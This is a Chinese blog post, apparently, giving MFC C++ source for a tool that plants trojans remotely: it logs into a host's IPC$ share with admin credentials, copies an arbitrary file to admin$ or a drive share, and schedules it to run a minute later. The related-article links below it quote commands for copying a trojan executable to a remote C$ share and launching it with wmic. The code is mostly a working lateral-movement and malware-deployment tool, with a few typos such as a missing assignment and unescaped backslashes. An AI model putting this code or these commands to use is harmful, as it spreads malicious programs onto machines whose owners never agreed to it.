要实现代码例如以下:

/////////////////////////////////////////////////////////////////////////////////////
typedef struct TagHost
{
CString host;
CString user;
CString pass;
CString filename;
CString LocalFilePath;
CListBox* list;
}IPC;
void CShareDlg::OnStart() //启动线程序
{
  UpdateData(TRUE);
  IPC* ipc = new IPC;
  ipc->host = m_host;
  ipc->user = m_user;
  ipc->pass = m_pass;
  ipc->LocalFilePath = m_localfile;
  ipc->filename = filename;
  ipc->list = &m_list;
  AfxBeginThread(ThreadIpcConnect,ipc);
}
/////////////////////////////线程/////////////////////////////////////////////////////
UINT ThreadIpcConnect(LPVOID lpvoid)
{
  IPC* ipc;
  CListBox* list;
  ipc = (IPC*)lpvoid;
  CString host;
  CString admin;
  CString pass;
  CString filename;
  CString localfilepath;
  host = ipc->host ;
  pass = ipc->pass;
  admin = ipc->user;
  localfilepath = ipc->LocalFilePath;
  filename =ipc->filename ;
list = ipc->list;
  BOOL IpcConnect;
  LPTIME_OF_DAY_INFO TimeBuf=NULL;
  NET_API_STATUS Status;
  CString RemoteFilePath,CmdCom("admin$\");
///////////////////////////////IPC连接////////////////////////////////////////////////////////////////
  NETRESOURCE ns;
  TCHAR buf[MAX_PATH];
  wsprintf(buf,"\\%s\ipc$",host);
  ZeroMemory(&ns,sizeof(ns));
  ns.dwScope=RESOURCE_GLOBALNET;
  ns.dwType=RESOURCETYPE_ANY;
  ns.dwDisplayType=RESOURCEDISPLAYTYPE_GENERIC;
  ns.dwUsage=RESOURCEUSAGE_CONNECTABLE;
  ns.lpLocalName="";
  ns.lpRemoteName=buf;
  ns.lpProvider=NULL;
  ns.lpComment=NULL;
  CString hhost = host;
  IpcConnect =WNetAddConnection2(&ns,pass,admin,0);
///建立IPC连接
  if(IpcConnect)
  {
//连接成功后
///////////////////////////连接成功上传文件//////////////////////////////////////////////////////////
    RemoteFilePath=("\\"+host+"\admin$\"+filename);
    IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);
//拷贝文件到admin$(winnt) 假设复制失败,。向其它共享区复制
      if(!IpcConnect)
        {
          RemoteFilePath=("\\"+host+"\C$\"+filename);
          CmdCom="C:\"+filename;
          IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);
            if(!IpcConnect)
            {
               RemoteFilePath=("\\"+host+"\D$\"+filename);
               CmdCom="D:\"+filename;
               IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);
           if(!IpcConnect)
                  {
                     RemoteFilePath=("\\"+host+"\E$\"+filename);
                     CmdCom="E:\"+filename;
                     IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);
                     if(!IpcConnect)
                       {
                        RemoteFilePath ("\\"+host+"\F$\"+filename);
                        CmdCom = "F:\"+filename;
                     IpcConnect = CopyFile(localfilepath,RemoteFilePath,FALSE);
                       }
                  }
              }
         }
///////////////////////////得到远程主机时间///////////////////////////////////////////////////////////
         if(IpcConnect)
         {//获取远程主机时间
           Status=NetRemoteTOD(host.AllocSysString(),(LPBYTE *)&TimeBuf);
            if(Status==NERR_Success)
            {//活取时间成功
///////////////////////////启动目标文件///////////////////////////////////////////////////////////////
              DWORD day=1,JobTime;
              AT_INFO ai;
              day=day*2;
              ai.Command=CmdCom.AllocSysString();
              ai.DaysOfMonth=day;
              ai.DaysOfWeek=0;
              ai.Flags=JOB_NONINTERACTIVE;
              ai.JobTime=((TimeBuf->tod_hours+(-TimeBuf->tod_timezone)/60)%24)*60*60*1000+(TimeBuf->tod_mins+1)*60*1000;
              Status=NetScheduleJobAdd(hhost.AllocSysString(),(LPBYTE)&ai,&JobTime);
              //启动上传的文件,一分钟后启动
              if(Status==NERR_Success)
              {
                list->AddString(host+"启动成功");
              }
              else
                list->AddString(host+"启动失败");
              }
          else
            {
             list->AddString(host+"获取时间失败");
            }
         }
         else
         {
          list->AddString(host+"拷贝文件失败");
         }
    }
    else
    list->AddString(host+"连接失败");
return TRUE;
}
 

代码来自于互联网而且这些代码不过为了备份。供分析木马病毒的时候使用

远程IPC种植木马的更多相关文章

  1. IPC$横向渗透代码实现

    思路 IPC$横向渗透的方法,也是病毒常用的扩散方法. 1.建立连接 2.复制文件到共享中C$.D$.E$.F$ 3.获取服务器的时间 3.设定计划任务按时间执行 用到的Windows API 建立网 ...

  2. 一个DDOS木马后门病毒的分析

    http://blog.csdn.net/qq1084283172/article/details/49305827 一.样本信息 文件名称:803c617e665ff7e0318386e24df63 ...

  3. 内网IPC$种马的三种方法

    copy muma.exe \\host\c$\windows\temp\foobar.exe ##IPC拷贝木马文件 WMIC远程运行命令 wmic /node:host /user:adminis ...

  4. 使用shutdown命令实现局域网内远程关机、重启整蛊他人

    用法: shutdown [/i | /l | /s | /r | /g | /a | /p | /h | /e | /o] [/hybrid] [/soft] [/f]    [/m \\compu ...

  5. 域渗透:IPC$ 命名管道

    介绍:IPC$(Internet Process Connection) 是共享 " 命名管道 " 的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接 ...

  6. linux端口详解

    Linux端口总结如下: 0|无效端口,通常用于分析操作系统 1|传输控制协议端口服务多路开关选择器 2|管理实用程序 3|压缩进程 5|远程作业登录 7|回显 9|丢弃 11|在线用户 13|时间 ...

  7. 小白日记21:kali渗透测试之提权(一)--本地提权

    本地提权 简单地说,本地提权漏洞就是说一个本来非常低权限.受限制的用户,可以提升到系统至高无上的权限.权限提升漏洞通常是一种"辅助"性质的漏洞,当黑客已经通过某种手段进入了目标机器 ...

  8. ASP漏洞+SQL注入的入侵方法

    本文就是想对装上了防火墙的主机,进行入侵攻击的大概思路小结一下. 首先当然是用扫描器对这台服务器(以下简称主机A)进行常规的扫描,得到初步的信息.再用nmap -sS IP -P0 -p 139 ,透 ...

  9. port与大全portClose方法

    在网络技术,port(Port)通常,有两种含义:首先,物理意义port,例,ADSL Modem.枢纽.开关.路由器连接其他网络设备的接口,如RJ-45port.SCport等等.第二个是逻辑意义p ...

随机推荐

  1. ASP.NET MVC:模块化/插件式文章汇总

    方案 Shazwazza | Developing a plugin framework in ASP.NET MVC with medium trust 基于ASP.NET MVC3 Razor的模 ...

  2. 在linux下创建自定义service服务

    三个部分 这个脚本分为3个部分:[Unit] [Service] [Install]. Unit Unit表明该服务的描述,类型描述.我们称之为一个单元.比较典型的情况是单元A要求在单元B启动之后再启 ...

  3. android之lint警告This Handler class should be static or leaks might occur

    更新到adt2.0的开发者们可能会在handler上发现这么一条警告:This Handler class should be static or leaks might occur . 首先在ADT ...

  4. 自己写的SeekBarPreference,可以实现seekbar滑动监听和设置默认进度和最大进度

    我通过参考android源码,把这个烂尾的类写完了.具体实现了seekbar的数据自动存储,seekbar拖动时触发监听器,可以设置默认的进度和最大进度.先说使用的方式: 1.在xml文件中使用pre ...

  5. 《Netty权威指南》

    <Netty权威指南> 基本信息 作者: 李林锋 出版社:电子工业出版社 ISBN:9787121233432 上架时间:2014-5-29 出版日期:2014 年6月 开本:16开 页码 ...

  6. HTML5 本地文件操作之FileSystemAPI实例(四)

    目录操作Demo二 1.删除目录 window.requestFileSystem = window.requestFileSystem || window.webkitRequestFileSyst ...

  7. Java&C#语法差别

      Java C# 主类名与文件名 必须一致 可以不一致 命名空间导入方式 import关键字 using关键字 常量 final关键字 Const关键字 基本数据类型 C#中有无符号数,Java没有 ...

  8. Java语法糖初探(三)--变长参数

    变长参数概念 在Java5 中提供了变长参数(varargs),也就是在方法定义中可以使用个数不确定的参数,对于同一方法可以使用不同个数的参数调用.形如 function(T …args).但是需要明 ...

  9. 02 如何创建线程 线程并发与synchornized

    所有程序运行结果 请自行得出 创建线程方式一:继承Thread类 步骤: 1,定义一个类继承Thread类. 2,覆盖Thread类中的run方法. 3,直接创建Thread的子类对象创建线程. 4, ...

  10. 空间金字塔池化(Spatial Pyramid Pooling,SPP)

    基于空间金字塔池化的卷积神经网络物体检测 原文地址:http://blog.csdn.net/hjimce/article/details/50187655 作者:hjimce 一.相关理论 本篇博文 ...